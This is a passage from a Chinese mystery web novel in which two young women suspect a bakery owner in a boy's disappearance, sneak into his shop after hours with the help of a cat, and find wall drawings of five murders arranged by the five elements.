流浪汉冲到沈聆面前，双手握住了沈聆的手，近距离看着沈聆，他身上酸臭的味道扑面而来，让沈聆大脑宕机了一下。
“哈？”
“我知道……我知道你很厉害，你比他们所有人都要厉害……你和他们不一样……”
“我……”
“不要……不要怪我……举头三尺有神明……我不是……不是故意看到的……”
流浪汉一脸认真地看着沈聆，那睁大的眼眸中充满了虔诚，就像是跪在神佛面前祈祷的凡人，希望能保全自身一样的卑微。
他虽然疯疯癫癫的，但是眼睛好像很干净。
他能感觉到，沈聆是这群人中间，唯一一个“不寻常”的人。
沈聆看着对方那双清澈的眼睛，一时间不知道如何回答。
在混乱中，警员重新将流浪汉拉上了警车，他的目光始终都固定在沈聆身上，张大了嘴巴，但又不知道该说些什么，像是有不可告人的秘密一般，梗在喉头，在关上警车的车门后，他趴在车窗上，一直到警车启动离开，他的视线仍旧死死“粘”在沈聆身上。
“哎呀真是晦气！他臭烘烘的，还来拉你的手……”宋明夷皱着眉头来到沈聆身边，看着闪烁着红蓝色灯的警车逐渐远去，也是懵逼着。
“……”
沈聆没有说话，只是愣愣地看着自己的手，刚才流浪汉握着她的手的时候，那表情是如此认真，完全看不出是一派胡言。
可是，那些话，如果不是疯话，又是什么呢？
难道天上真的有神仙在监视他？
他是知道什么的吧。
但是为什么什么都不说？
他口中的“不是故意看到的”又是什么意思？
他看到了什么东西吗？
但是又被命令不允许说出来？
是谁有这么大的本事让他缄口不语？
这是一个疯子，神志不清的人，一旦发疯起来，什么话都会说出去，但他却没有这么做，明显是被恐吓过，甚至是用“神明”的名义，让他对自己隐瞒的事情缄口不语……
“到底是什么事情呢……”沈聆喃喃自语。
“好了好了，我看你都魔怔了，别想了，今天也累了一天了，回去洗个澡，好好休息一下。”宋明夷说着，看向了人群。
人群也在逐渐散去。
这人群中，有前来吊唁的人，有周围的居民，大家似乎都很震惊，没想到一个流浪汉居然与李子晨的失踪有关系，因为李子晨案子有了进展，因此李家很大概率会暂停丧事，毕竟，现在孩子的尸体还没有找到，纵然孩子已经死了，但办丧事，还是有尸体会妥一点。
老李的老伴推着坐在轮椅上的老李来到了沈聆身边。
“小姑娘，谢谢你，如果不是你，我们都不知道这家伙居然曾经对我的大孙子动手！”老李说着，气愤地握紧拳头砸了砸轮椅的扶手，他情绪激动着，忍不住咳嗽了几声，“咳咳……这家伙，我本来以为只是一个疯疯傻傻的可怜人，现在看来，居然还会伤人！真是可恶！应该直接抓起来枪毙！”
宋明夷见老李情绪激动，忙劝慰道：“您也别太激动，林凌已经跟着流浪汉去了警局，相信真相是怎样的很快就能水落石出，我想，警方会给我们一个交代的。”
子晨爸爸扶着子晨妈妈也走了过来，作为子晨的父母，他们在看到染血的衣物后情绪更是格外激动，子晨妈妈更是哭晕了好几次，尤其是在看到墙壁上画着的那些乱七八糟的图案后，更是哭晕了几次，叫嚷着自己从前从来没有好好和孩子沟通，孩子在外面被人欺负了她还被蒙在鼓里，一时间，伤心、气愤、无助等情绪涌上心头，让这位可怜的妈妈心力交瘁。
“他们最好给我们一个交代！还有这个小区！我一定要投诉到政府部门去！这个小区一直没有物业，也没有人管理，才会有流浪汉进来！我一定会投诉到底！如果他们不给我们一个满意的答复的话，我就去媒体曝光他们的不作为！”子晨爸爸义愤填膺，失去儿子的悲痛似乎已经化为了满腔怒火，他势必要让伤害自己孩子的人都付出代价。
“没错！这个小区从来都没有人管理，如果有人好好管理的话，那个该死的流浪汉也不会进来！”老李的老伴也应和道，“这件事情我们不会就这么过去的！”
几个家属七嘴八舌地说着，老李坐在轮椅上，抿着下唇一言不发。
“……我想，今天大家都很累了，不如回去好好休息，说不定明天林凌那边就会有审讯结果了。”沈聆眼见气氛不太妙，忙打岔说道，“至于牛角面包，我今天已经去面包店买好了，后天我会进行‘祭魂’仪式，到时候会再一次唤出子晨的魂魄，希望能在此之前找到杀害他的凶手，也算是给小朋友一个安慰。”
在安慰了李家人几句话后，李家人也离开了。
一直到李家人离开之后，警长才敢鬼鬼祟祟地从角落里出来。
“喵——”
它眨了眨
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眼睛，走到了沈聆身边。
“诶？你是什么时候过来的？我以为你一直在宋明夷家里呢。”沈聆抱起警长，感觉到它的小身体暖暖的，恍惚之间给她一种安心的感觉。
宋明夷用手敲了敲警长的脑袋：“你还挺厉害的嘛，我家可是六楼呢，门还关着，不知道这小家伙是怎么出来的。”
“喵——”
黑猫伸出粉色的小舌头，舔了舔自己的爪子。
沈聆摸了摸警长的脑袋，看向宋明夷：“不管怎么说，那个人总归和李子晨的失踪有关的，等警方问出一些有用的信息，说不定就能找到李子晨尸体的下落……”
“你不认为是那个人害了李子晨吗？”
沈聆摇了摇头：“我倒不这么认为。那个流浪汉看着智商并不高，但是我们看到的李子晨的魂魄缝着嘴、穿着红衣服、被吊死……这些不是一个神志不正常的人能做到的，他就算是杀人，也不可能这么井井有条地杀人……”
而且，刚才流浪汉口中的什么“神明”、“监视”之类的话，也让沈聆耿耿于怀。
他并没有对其他人说这件事情，单单对沈聆说这句话，难道是感觉到这群人里面只有沈聆能通灵吗？都说孩子的眼睛是最干净的，能看到成年人看不到的东西，而傻子的智力停留在六七岁的孩子的智力水平，会不会他也能看到常人看不到的东西？
“喵——”
就在这千钧一发之际，原本安安静静待在沈聆温暖怀抱中的警长，突然间像是发现了新大陆一般，猛地眨动了几下那对圆溜溜的大眼睛，黑色的瞳孔瞬间拉长，像是聚焦到了什么东西，紧接着，只见它身手敏捷地从沈聆的怀中纵身一跃，轻盈而又稳当地降落在地面之上。
“喵——”
随后，它如同一道黑色闪电，以迅雷不及掩耳之势跃上了公寓旁边那棵高大挺拔的大槐树上。
“警长？！别跑啊，快给我下来！万一从树上摔下来了怎么办——”沈聆见状，不禁焦急地呼喊起来。
然而，此时的黑猫仿佛已经完全沉浸在了自己的世界里，根本不理会主人的呼唤声，它那一身乌黑亮丽的皮毛完美地融入到了浓浓的夜色之中，如果不仔细观察，几乎很难发现它的身影，它跃上了树干，爪子扒在树皮上，稳住了身子，倾斜着站在树枝上。
“喵——”
警长眨了眨眼安静，将身子微微弓起，就像一张拉满弦的弓箭一样蓄势待发。
在停了几秒钟后，它灵活地顺着槐树粗壮的枝干一路攀爬而上，速度之快令人咋舌，那双闪烁着神秘光芒的眼睛，则自始至终都紧紧地锁定在前方，目光中透露出一种志在必得的神情，仿佛前方有一个令它垂涎欲滴、迫不及待想要捕获的美味猎物。
沈聆顺着它的视线看去，发现在警长前方的小树枝上，站着一只白色的鸟儿，那只白色的鸟儿毛发顺滑，通体雪白，头上还长着一撮淡黄色的羽毛，它眨了眨眼睛，张开翅膀说了一句——
“恭喜发财——”
77. 疯话
鹦鹉眨了眨眼睛，它注意到了逐渐靠近自己的警长，虽然这只黑猫很聪明，借助槐树的树干隐秘了自己的身体，但鹦鹉的洞察力还是让它发现了有猫科动物在靠近自己。
“——”
扑了一下翅膀后，鹦鹉展翅飞走了，但绕过了槐树的树干，消失在这栋楼的后侧。
“喵……”
眼见没有抓到鹦鹉，警长有点儿失望。
它跳了几步后，从树干上一跃而下，落在了沈聆脚边。
沈聆若有所思地望着鹦鹉飞去的方向，这一瞬间，脑海中想起了刚才看到的流浪汉握着自己的场景，耳畔似乎又浮现出他曾经说过的话——
【举头三尺有神明……】
在说出这句话的时候，那流浪汉的脸上满是惊恐和慌张，压低了声音告诉沈聆这句话，仿佛是在冒着巨大的风险透露出自己所不能说出口的某种信息。
“举头三尺有神明……”
沈聆喃喃着，重复着这句话。
“什么？”宋明夷没有听清楚，她好奇地看着沈聆，伸出手在她面前晃了晃。
“我说……举头三尺有神明……”沈聆看向了宋明夷，重复了一遍这句话。
“这不是刚才那个谁跟你说的嘛。”
“嗯……我觉得，这句话或许不是他的疯话。”沈聆转了转眼睛，话里话外像是在暗示些什么。
宋明夷眨了眨眼，倒是被勾起了好奇心：“怎么说？展开说说你的想法。”
“我想……我们在看到那个流浪汉之后，他老是说一些奇怪的话，说什么有人在监视他，说有神明不让他说之类的……我想，会不会不让他说话的，并不是神明，而是某个人。那个流浪汉说不定看到了什么、知道了什么，但是迫于某种威胁，他不敢说，于是自己躲在楼梯间的时候，在墙上画画，想用画画这样的方式，让发现那些涂鸦的人知道他看到的事情。”
宋明夷皱着眉头思考：“照你这么说，那得有一个人24小时都在监视他才行了？毕竟这可是个傻子，说不定哪天说漏了嘴就说出去了。”
“不，不一定的，如果有能够传声的东西，或许也能达到这样的目的。”
“你的意思是……”宋明夷恍然大悟，“你的意思是，鹦鹉？！”
“嗯。”
一阵夜风吹过，拂过两个女孩的脸颊，吹起了宋明夷的头发，也吹开了沈聆的外套。
“明夷，有时候，疯子说的话，或许不一定是疯话，他说的话，可能都是真的，只不过没有人当真。”
……
“卡拉。”
轻轻挪开放在公寓后门的垃圾桶，沈聆和宋明夷压低了身体，躲在公寓的阴影中。
她们躬着身子、猫着腰，躲在这栋公寓楼的阴影中，悄悄探出小脑袋，好奇地看向后门的方向。
顺着她们的视线看去，便能看到那家面包店。
此时，夜幕已深，这小区的后门本就人烟稀少，入了夜便更加冷清，多少有了几分城西殡仪馆的气氛。
那家平日里总是弥漫着香甜气息的面包店，此刻却显得格外安静，原本明亮温馨的店面，如今大部分灯光都已熄灭，只有靠近后厨的几盏灯还散发着微弱的光芒，勉强照亮了一小块区域。
在这小片光亮之中，可以看到一个身材肥胖的男人正穿梭于后厨之间。
他身前依旧系着一条沾满面粉与污渍的围裙，额头上挂着豆大的汗珠，双手不停地忙碌着，仔细一看，他正专注地清洗着那些用于制作精美蛋糕的模具以及打发奶油的工具等。
整个面包店内，除了这个身宽体胖的男人之外，再无他人。
“他没有雇佣其他的店员吗？”
“没有吧？至少我在这里住了这么久，还真没有看到这家面包店有其他店员。”
躲在垃圾桶后面的沈聆和宋明夷窃窃私语。
她们觉得这家面包店并不简单，顾不上许多，决定先来打探一下面包店的虚实——流浪汉被带回警察局的事情已经传遍了周边几个小区，如果真凶另有他人，那么势必会打草惊蛇，真凶说不定会连夜潜逃，因此，如果发现了什么可疑之处，今夜就是最好的调查时间，否则到了明天后天，或许就没那么方便调查了。
说不定，有的人就已经“销声匿迹”了。
于是，沈聆决定先不回家，来看看面包店是怎么个情况。
而宋明夷出于女主播的“专业素养”，决定一起调查真相，说不定可以采集到的一线的调查资料，后续无论是提交给警方还是在媒体平台曝光，那都是大功一件！
她现在倒是越来越喜欢沈聆了，似乎靠近她，就会有无穷无尽的直播素材，根本不用像之前一样想破脑袋也想不出要制作什么吸引人眼球的视频。
现在的她，动一动手指，流量，轻而易举。
且说回当下。
新隆公寓的面包店从表面上看起来和街边的面包店并无二致。
或许是因为环境冷清，这家店的关店时间比平常的面包店似乎更早一点，现在还没有到九点，面包店已经挂上了“暂停营业”的牌子。
面包店的店主也开始清理垃圾、打扫卫生。
沈聆和宋明夷看到，店主首先小心翼翼地将当天没有售出、但可以保存到第二天的面包整齐地放进冰箱里，以确保它们能够保持新鲜度。接着，对于那些无法隔夜保存的面包，他则精心挑选出来，用一个大大的保温盒装得满满当当，看样子是准备带回去自己享用。
此外，他用拖把和扫把打扫了一下面包店的卫生，并用抹布认真擦了一遍所有的柜子，确保所有的卫生工作都充分到位之后，这才擦了擦额前的汗水。
做好一切工作后的店主解下了带了一天的围裙，将围裙挂在了面包店入口的地方，，然后费力地提起两个沉甸甸的黑色大袋子，缓缓走到店门口放下。
紧接着，他转过身来，朝着面包店内走去，伴随着“啪”的一声轻响，店里最后几盏明灯也被关闭了，瞬间，整个面包店陷入了一片漆黑之中，仿佛被一层神秘的面纱所笼罩。
他的这一系列动作行云流水，似乎每一天都要机械化地重复着
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这些步骤。
但沈聆注意到，此刻，门口原本站着鹦鹉的那个架子上，空空如也。
鹦鹉并没有回来。
那么鹦鹉去哪里了呢？
店主忙完这些后，穿着便服走出了面包店，提着两袋垃圾就朝着垃圾桶这边走了过来。
“快躲起来！”
宋明夷眼疾手快地拉着沈聆往公寓楼里跑去。
两个瘦弱的女孩子压低了身体沿着公寓楼的阴影绕开了店长的视线，在店长提着两袋垃圾走向垃圾桶的时候，她们从另一侧绕到了面包店的侧面，刚好面包店的旁边有一个废弃的木板，她们便蜷缩着身体，躲在了木板后面。
“咔哒。”
面包店的店主一脚踩在垃圾桶的翻盖上，在垃圾桶打开后，将两袋垃圾丢了进去。
“……”
他缓缓地转过头，目光谨慎地环视了一圈四周，心中隐隐有一种异样的感觉。
就在刚才，当他把那袋垃圾扔进垃圾桶时，耳边仿佛传来了一阵极其轻微却又古怪的声响——那是沈聆和宋明夷的脚步声，然而此刻，除了微风轻轻拂过树叶发出的沙沙声外，再无其他任何异常的响动。
“是我多心了吗？”
这不禁令他开始怀疑起自己是否过于敏感了，也许只是风声造成的错觉罢了。
“是我多疑了吧，最近可真不太平。”店长无奈地挠了挠头，然后迈着略显沉重的步伐，朝着自家的面包店走去。
而此时，躲在面包店旁边的沈聆和宋明夷，在听到店长逐渐靠近的脚步声后，顿时变得紧张万分。
此刻，她们慌乱地背靠着那块破旧的木板，身体不由自主地向着更阴暗的地方蜷缩而去，脚下踩着的是一片潮湿且泥泞的泥土，散发出一股令人作呕的气味，身后则布满了密密麻麻的蜘蛛丝以及杂乱无章的杂草，还有从那些无人知晓的角落里不断散发出来的、难以形容的腐烂味道。
尽管这种环境让人感到不适，她们还是忍着恶心躲在这里，因为她们知道，自己绝对不能让店主发现。
店主回到了面包店，所幸，并没有发现沈聆和宋明夷。
他回到面包店，拿走了保温盒后，关上了店门，并上了锁，做完这最后的事情后，他才拍了拍手，转身离去。
——今天的工作结束了，也终于到了他休息的时间。
——虽然今天小区内好像不是很太平，但影响不到他的声音，他的心情似乎一直都这么平静如水。
“一条大河……波浪宽……”
静谧的夜色中，只剩下店长哼歌的声音。
沈聆和宋明夷拉长了耳朵，听见店长哼着歌走远了，她们紧张的心这才稍稍放下了，那歌声与店长的脚步声一起越来越远，一直到消失在更远处的静谧中。
她们一直等了一分钟，确定周围没有人后，宋明夷才试探性地探出半个脑袋，她圆溜溜的眼睛谨慎地盯了一圈，确保没有人看到自己后，转头对着旁边的沈聆打了个手势。
【现在没人了。】
【可以开始行动。】
78. 潜入
沈聆和宋明夷在面包店的店主离开后，鬼鬼祟祟地从面包店的侧面探出身子，她们睁大了眼睛，环视了一圈，确认周围没有其他人后，这才慢慢从阴影里挪了出来。
“哎呀，这里真的脏死了，为什么这么多蜘蛛丝啊……”宋明夷拍了拍衣服，她的衣服外套上全都是草丛里的蜘蛛丝。
这个木板废弃在面包店旁边，和面包店的墙壁、草丛形成了一个遮掩着的三角区域，虽然给她们提供了藏身之处，但里面却十分肮脏，蜘蛛丝密布，并且因为常年没有光照，这里全都是积水和泥泞，到处都是小虫子围绕着飞动着，空气中也充满了腐烂物的味道。
“奇怪了，我记得这家店的老板像是有个洁癖的人，这么外面的环境这么脏乱差也不整理一下……难道没有做好门前三包吗？”
沈聆皱着眉头拍到衣服上的泥泞，环顾了一圈，绕开了面包店前的监控摄像头，拉着宋明夷站在了面包店监控的死角——还好之前看过老李手机上的监控录像，她知道面包店的监控能够看到哪些区域，倒是给她调查面包店带来了一定的便利。
“什么门前三包，这里就是‘无主之地’，连居委会都没有，你还希望有人来管管环境卫生吗……”宋明夷说着，探出脑袋看了一眼面包店。
这座面包店宛如一座矮小的平房，孤零零地矗立在街角。
——它没有两层楼的设计，仅仅只有那单层的结构，看起来就如同是面包店主亲自搭建而成的房屋一般。墙壁白色中泛着点灰色，墙角的墙壁长满了青苔，从面包店这栋建筑的宽度来推测，面包店里面应该还至少有三四个小房间，前面打通了隔间做成了面包店，后面应该就是沈聆白天看到的杂物间。
新隆公寓的外侧有一圈栏杆，黑色的栏杆恰好围绕在面包店的后侧，沈聆目测了一下，如果身手矫健一些，或许能够轻松地翻过栏杆，翻到面包店的后门。
对，没错。
她又要开始做一些偷鸡摸狗的事情了。
没想到自从当了阴厨之后，翻墙入院居然已经逐渐成为了一件稀松平常的事情。
“走，我们从后面过去。”
宋明夷招了招手，两个女孩子绕过了后门的，来到了面包店后面的黑色栏杆前，栏杆目测有两米的高度，并且在一米八左右的高度才有一个横杆，两个女孩子都是一米六左右，单凭她们俩，没办法都进去。
“沈聆，你踩着我过去吧。”
宋明夷半蹲下身子，单膝跪在地上，另一只腿在这地面，她拍了拍大腿，示意沈聆踩着自己翻过去。
“没关系吗？我挺重的。”
“你少放屁，你瘦了吧唧的，能有几两肉？”宋明夷吐槽，“别逼逼赖赖的，我在外面给你望风，你快去快回，手机保持联系，如果出了问题，随时给我打电话，我就在外面。”
“你一个人在外面没问题吗？”
“能有什么问题？我本来就是住在这里的人，如果那个胖子中途回来了，我来拖住他，我就说我下楼走走，你就找个地方躲起来，如果能离开最好，如果不能离开，就找个地方藏着，我会找机会把你弄出来的。”宋明夷说着，比了个“OK”的手势，她的声音十分镇定，看着一副专业做小偷的样子，真的很让人怀疑她之前的副业是什么。
拍了拍自己的腿，宋明夷警惕地东张西望着，暗示沈聆不要再拖时间了，这件事情就要速战速决，从严格意义上来说，她们的这个做法是私闯民宅，并且没有任何警方的许可，如果真的被抓包了，她们反而还会惹得一身腥，所以，最好的办法就是在店主回来之前赶紧调查一下面包店有没有什么异样，如果真的有异常，等天亮之后，再告诉林凌，让警方介入。
沈聆犹豫了半晌，还是点了点头。
她双手扶着生锈的栏杆，踩上了宋明夷的腿，身体抓住横杆后，宋明夷双手支着宋明夷的另一只脚，将她整个托了起来，沈聆借助那力量，翻过了栏杆，一个侧翻，落在了面包店的后门前。
“喵……”
黑猫警长眨着眼睛，身体擦过宋明夷的腿，直接从栏杆之间的缝隙钻了进去，来到了沈聆身边。
“还是当猫好呀，做坏事都方便一点。”宋明夷看着黑猫警长，感叹道。
随即，她像是想到了什么，低下头将别在自己衣领的微型摄像头摘了下来，并朝着沈聆招了招手，示意沈聆过来。
“怎么了？”
在沈聆走近后，宋明夷将微型摄像头别在了沈聆的衣襟上。
“我告诉你哦，这个东西可是花了我一大笔钱买的，你小心点，别碰了磕了。”
微型摄像头很小，从外面看起来，和针孔差不多，外面有一层圆圆的外壳，并且是黑色的，用别针别在衣领口处，宋明夷特地整理了一下沈聆的衣领，随后又后退了几步观察了一下，确认微型摄像头佩戴好后，大功告成一般拍了拍手。
“行啦，如果不是认真看的话，是看不见这个东西的。”
“你是哪里搞来的这些装备？你们主播装备都这么齐全吗？”
“哪儿的话，这只是我这么专业好不好。”宋明夷擦了擦鼻子，“我啊，为了配合你的调查，最近可是买了好多宝贝呢，除了微型摄像头，我可是买了其他好多好东西呢，跟拍我可是专业的！这些啊，我以后再一个一个展示给你看，现在呢，我们就把这件事情做好，如果真的能帮助李子晨一家，我们也算是大功一件了。”
沈聆点了点头：“嗯，其实我也没有证据证明这家面包店和李子晨的失踪有关，但是我总觉得那个流浪汉说的话，和这家店脱不了关系，我很怀疑……他说的‘举头三尺有神明’，其实就是鹦鹉传话，如果是这家店的店主教了鹦鹉说什么话，并让鹦鹉监视流浪汉，那么这一切就说得通了。”
“也
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不是没有这个可能。”宋明夷托着下巴思考，“鹦鹉是目前唯一能够模仿人类说话的鸟，而且智商很高。他们家的鹦鹉我也近距离逗过几次，不瞒你说啊，我总觉得怪怪的，他们家的鹦鹉在看人的时候，完全不像是普通的鸟看人的眼神，反而更像是人看人的眼神……”
“是吧，但是目前没有实质性的证据，而且流浪汉精神不正常，警方不一定会把我们的推测当真，我想着，来都来了，不如趁着他下班之后，调查一下面包店。”沈聆说着，看向了身后的面包店。
夜色里的面包店黑漆漆的，笼罩在一片深沉的夜色之中。
沈聆微微眯起眼睛。
刚才绕着面包店转了一圈，她发现这家面包店比想象中的占地面积更大，但白天到面包店买面包的时候，她看到前面的营业区面积并没有那么大，这说明后面还有很多空余的空间没有被利用上。
她曾经偷窥到柜台后有虚掩着门的房间，那似乎是个杂物间。
但当时她并没有看清楚里面有什么东西，店主特意往旁边站了站，遮住了她的视线。
但越是这样，越让她感觉到很可疑。
这家店，后面的空间是用来干嘛的？他的营业区和烘焙厨房都在前面，展示给顾客了，那么没有展示给别人看到的地方，又会是什么呢？
沈聆这么想着，她压低了身体，朝着面包店的后门而去。
面包店的后门是一个深绿色的铁门，类似于所有九十年代的建筑，这个铁门从里面锁上，从外面需要有钥匙才能打开。
沈聆走到后门的地方，推了推铁门，发现铁门锁住了，她观察了一下锁孔，这个锁孔很小，似乎需要用细长型的钥匙才能打开。
环视了一圈，沈聆发现后门这一侧除了一扇通风口外，并没有其他的入口，甚至连一个窗户都没有，正面墙壁给人以封闭闭塞的感觉。
那个通风口在铁门的左上角，距离地面并不是很远，沈聆踮起脚尖就能够到，在通风口处，有一张生锈的铁网，沈聆伸出手拉了拉铁网，发现那铁网周围的螺丝钉已经松动了。
沈聆踮起脚尖，双手试着拧动了一下铁网处的螺丝，接连拧下铁网下方一排螺丝后，她将铁网扯了扯，整个往外打开了一个口子。
随后，她双手攀着通风口，想试着能不能从通风口进去。
可通风口的位置在她的头顶，脚下没有其他能够用来垫脚的工具，仅仅依靠手指发力，并不足以让她的身体钻入通风口。
“进不去……”
沈聆皱着眉头，感到有点儿沮丧。
“喵……”
就在这时，猫叫声在身后响起。
沈聆转过头，看见警长正乖乖蹲在自己身后，眨着眼睛看着自己，那双幽绿色的眼眸像祖母绿的宝石一般在黑暗中闪烁着光。
“警长，你……能帮我进去拿出后门钥匙吗？”
79. 五行杀人
“喵……”
警长动了动小耳朵，眨了眨眼睛，在夜色中，猫的瞳孔由细长变成了椭圆的形状，它看着沈聆，似乎听到了沈聆所说的话，小身体踩着沈聆的肩膀，轻轻一跃，便跳到了面包店的通风管道里。
“钥匙应该在面包店的柜台上，柜台前有一个钥匙架，像树枝一样的，你把上面的钥匙给我叼过来，乖。”沈聆压低了声音嘱咐。
“喵——”
警长回应了一声后，漆黑的小身体便消失在了通风口处。
猫科动物的脚步是很轻的，它们的四个脚掌全都毛茸茸的，并长着肉垫，它踩在地上、走过地上的时候是不会发出太多的声音，警长瘦长的身子消失在了通风管道里，通风口的另一头应该是没有堵上的，否则警长应该立刻就会折返。
沈聆靠着墙壁等了一会儿，便听到通风口传来了轻微的钥匙碰撞的声音。
“叮铃……”
那声音听起来有点儿沉重，像是许多个钥匙碰在一起的声音。
在听到这个声音的时候，沈聆知道警长成功了。
“喵……”
果然，在钥匙声靠近的时候，一个小身影出现在了通风管道口。
它从四四方方的通风管道口探出了脑袋，眨了眨眼睛，嘴巴里叼着几串钥匙，那些钥匙上面用不同颜色的标签纸标记着，看起来似乎是几扇不同的门的钥匙。
警长一松口，钥匙便掉了下来，沈聆接住了那些钥匙后，凑近了后门，一个个尝试起来。
这些钥匙有的大有的小，看起来功能各有不同，不同的钥匙上面贴着不同的颜色标签，其中有一串钥匙甚至特别小，看起来不像是开门的钥匙，更像是手铐之类的钥匙。
沈聆心下疑惑，但顾不得许多，一个一个将钥匙插入锁孔中尝试着。
——她知道自己现在的做法很危险，特别是在经历了淮阳牛肉面馆的凶险后，她知道如果自己的贸然行动处理不当可能会有很严重的后果，但同时，也正是淮阳牛肉面馆的冒险，让她后续有了更大的收获，不仅积攒到了更多的阴德，甚至帮助警方破获了人口失踪案，得到了灵元草……
可以说，人多多少少都是有赌徒心态的。
一旦发现风险或许意味着更大的收益，那么下一次就难免继续采取风险行动。
如果在48小时内能破解李子晨死亡的疑案，说不定她能积累到更多的阴德，妹妹的下一场手术应该也会更加顺利。
在这样心态的趋势下，沈聆决定冒冒险。
虽然她知道，如果这次没有收获或者是又让自己陷入险境，那自己一定会被骂的狗血淋头……
“咔嚓。”
沈聆转动了一下钥匙，终于，她听到了钥匙解锁的声音！
——打开了！
沈聆不由得一阵雀跃，她转动了一下钥匙，下一秒，后门被拉开了。
“吱呀……”
后门开了一道缝隙，沈聆透过那缝隙看向了屋子里，屋子里一片黑漆漆的，没有开灯的屋子，她只能依稀看到门后似乎是一条狭窄的走廊，走廊两侧的墙壁上似乎有什么涂鸦的痕迹，她看不太清楚，几步之外像是有房门一般，那些房门紧闭着，在走廊两侧，不知道房门后什么，整条走廊透着神秘的气息。
沈聆深吸了一口气，下意识地回过头看了一眼待在栏杆后放风的宋明夷。
宋明夷也看到沈聆打开了后门，她比了个厉害的手势，并挥了挥手，表示目前一切安好，让她速战速决。
沈聆会意，猫着身子钻入了走廊里。
“吱呀……”
在沈聆进入面包房后，后门在她身后关上了。
“喵……”
警长原想跟着沈聆从后门进去，但门似乎是被风吹上一样，关得太快了，它还来不及进去，只能在外面挠着爪子，抓了几下门板后，它抬起脑袋看向了通风口，想再一次从通风口进入屋子里，但通风口周围并没有什么可以垫脚的东西，上一次它是踩着沈聆的身体跳上去的，但现在没有了垫脚的东西，警长的尝试着跳跃了好几次，都没有够到通风口的高度。
“喵……”
它有些着急了，在墙外转起了圈圈。
可门内的沈聆，似乎听不见警长的声音，这扇门像是瞬间隔绝了内外两个世界。
“喵——”
警长眯起眼睛，它死死盯着这扇门，忽然，它察觉到这扇门似乎散发出几缕不同寻常的气息，那气息仿佛是阴魂散发出来的阴沉之气一样，隐隐约约的，但有带着几分幽蓝色……
“喵……”
……
与此同时。
在沈聆走入走廊后，她担心房间里也有监控摄像头，因此不敢打开手机的照明功能。
后门在她身后无声地关上，她似乎没有察觉一样，压低了脚步声，朝着走廊另一头而去。
走廊里宛如被无尽的黑夜吞噬，伸手不见五指，仿佛连一丝光亮都无法渗透进来，踏入其中，便能明显感觉到这里的温度较之外面要低上些许，丝丝寒意顺着脊梁骨往上爬。
两侧的墙壁犹如两堵沉默而威严的高墙，散发着一种难以言喻的无形压力，这狭窄的通道仅能容一人通过，显得格外逼仄，头顶的天花板低垂得让人压抑，仿佛随时都会倾塌下来，将人掩埋在这片黑暗之中。
前后左右皆是封闭的空间，没有任何出口或通风口，空气仿佛凝固了一般，令人产生一种如同被困在棺材里般的窒息感，甚至连呼吸都变得困难起来。
沈聆的双眼逐渐适应了这片黑暗，她微微蹙起眉头，目光投向了墙壁两侧的涂鸦。
——起初，远远望去，这些涂鸦与街边常见的流浪汉所留下的并无二致，无非是些简单勾勒出的小人形象，然而，当她好奇地凑上前去仔细端详时，却惊愕地发现事实并非如此——那些根本不是普通的小人，而是一幅幅用猩红如血的颜料描绘而成的惨死者的画面！
没错，墙壁上画着的，是一幅幅死亡临摹图！
这些小人全都是火柴人的形象，但却又各
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有不同。
有的小人躺在地上、身首异处；有的小人被吊了起来，身体在半空中晃动；有的小人在水中挣扎，像是即将溺死在水中；而有的小人在火焰中高举着双手，似乎在惨叫哀嚎……
沈聆在看清这些小人的死状后，不由得打了个寒颤。
她从来没有如此感到恐惧过，因为她发现，其中一个被吊起来的小人，他身上画着一件红色的外套。
是的。
很熟悉吧。
被她召唤出来的李子晨的魂魄，就是这么一副模样！
沈聆伸出手，轻轻触碰了一下墙壁上的小人，墙壁上的颜料已经干了，但有的红色颜料是深色的，有的是浅色的，虽然这些颜料都已经干了，但可以看出画画的时间并不一样。
一个可怕的念头浮现在沈聆心头——这些小人，都代表了不同死者吗？如果是这样的话，是不是意味着画了多少个小人就有多少死者呢？
“……”
沈聆握紧了拳头，一股愤怒之意涌上心头，冲淡了几分内心的恐惧。
如果她的猜想是真的，那么就说明这里存在着至少一个连环杀人犯，并且他在不为人知的角落里已经犯下许多杀人事件，或许这些事情最后都伪装成了人口失踪或是意外死亡，但他却在事后记录下自己杀人的过程，这说明凶手对自己行凶的过程是很得意的，又或者说，是很心满意足的。
这些死者，这些涂鸦，全都是他的“杰作”，是他没办法公之于众的“作品”，所以他才用这种方式记录下自己曾经做过的事情，再一遍遍反复“回味”自己犯罪时的心理过程以及从中体会到一种类似于精神变态的满足感……
“这家店的老板绝对没那么简单……至少，他参与了这些事情……”
沈聆皱起眉头，脑海中浮现出白日里看到的面包店老板的模样。
那张圆圆的脸蛋看起来就像是刚刚从烤箱里拿出来的贝果，两个小眼睛就像是葡萄干，他笑起来的时候，浑身都带着亲和的气息，就像是那些放在橱窗里的面包一样，给人一种“柔软无害”的感觉，但没想到，或许在表象之下，才是他的真实面目。
——如果这些是真的，那他是怎么处理尸体的呢？
沈聆大致数了一下，这些小人有五个。
除了吊死的李子晨的外，还有其他四个小人，一个是溺死的，一个是烧死的，一个是被埋在土里的，一个是被刀砍断脖子死的……
——五个？
——五行？
——金木水火土？
沈聆的脑袋“嗡”了一下，像是想到了什么。
——上吊，是在梁上悬挂，或者是树上悬挂，可谓“木”；溺死，在水中死去，可谓“水；火烧，在火中活活被烤焦，可谓“火”；活埋，在土里没了气息，可谓“土”；最后，被金属砍断了脖子，可谓“金”……
——这五个小人，死法都不相同，但却暗含了“金木水火土”的意思。
——这说明，凶手是按照五行在杀人的……
80. 小女孩
突然意识到面包店的老板并非善类，沈聆整理了一下自己的衣襟，将宋明夷给自己的微型摄像头对准了墙上的那些涂鸦，她要让摄像头准确记录下这里所有的东西，这就是藏在人心深处的险恶。
“不知道有多少人的性命折在这上面……”
沈聆倒吸了一口凉气，她打算继续往前看看。
第六感告诉她，那些关着的门后面，或许还有更可怕的东西。
这些关着的门就像是潘多拉魔盒一样，等着她靠近、等着她打开，她不知道这间面包店里究竟藏着多少秘密，但似乎就仅仅只是那冰山一角，都足以让人震惊万分。
沈聆压低了声音，踩过冰冷的地面，走到了第一个房门前。
这扇门是铁门。
让沈聆感到奇怪的人，一般人在家里是不会安装铁门的，大部分铁门都是安在出入口的位置，家里的房门一般都是木门或者是门帘，很少有人在屋子里也安装铁门的，这给人的感觉简直就像是——在面包店里关着什么东西！
她屏住呼吸，先是用手触碰了一下冰冷的铁门，感觉到一阵寒意后，她试着推了推铁门，但如预料中一般，这扇门纹丝不动，看样子似乎被锁住了。
不过没有关系，她此刻手上有的是钥匙和时间！
沈聆低下头，从一个一个钥匙开始尝试。
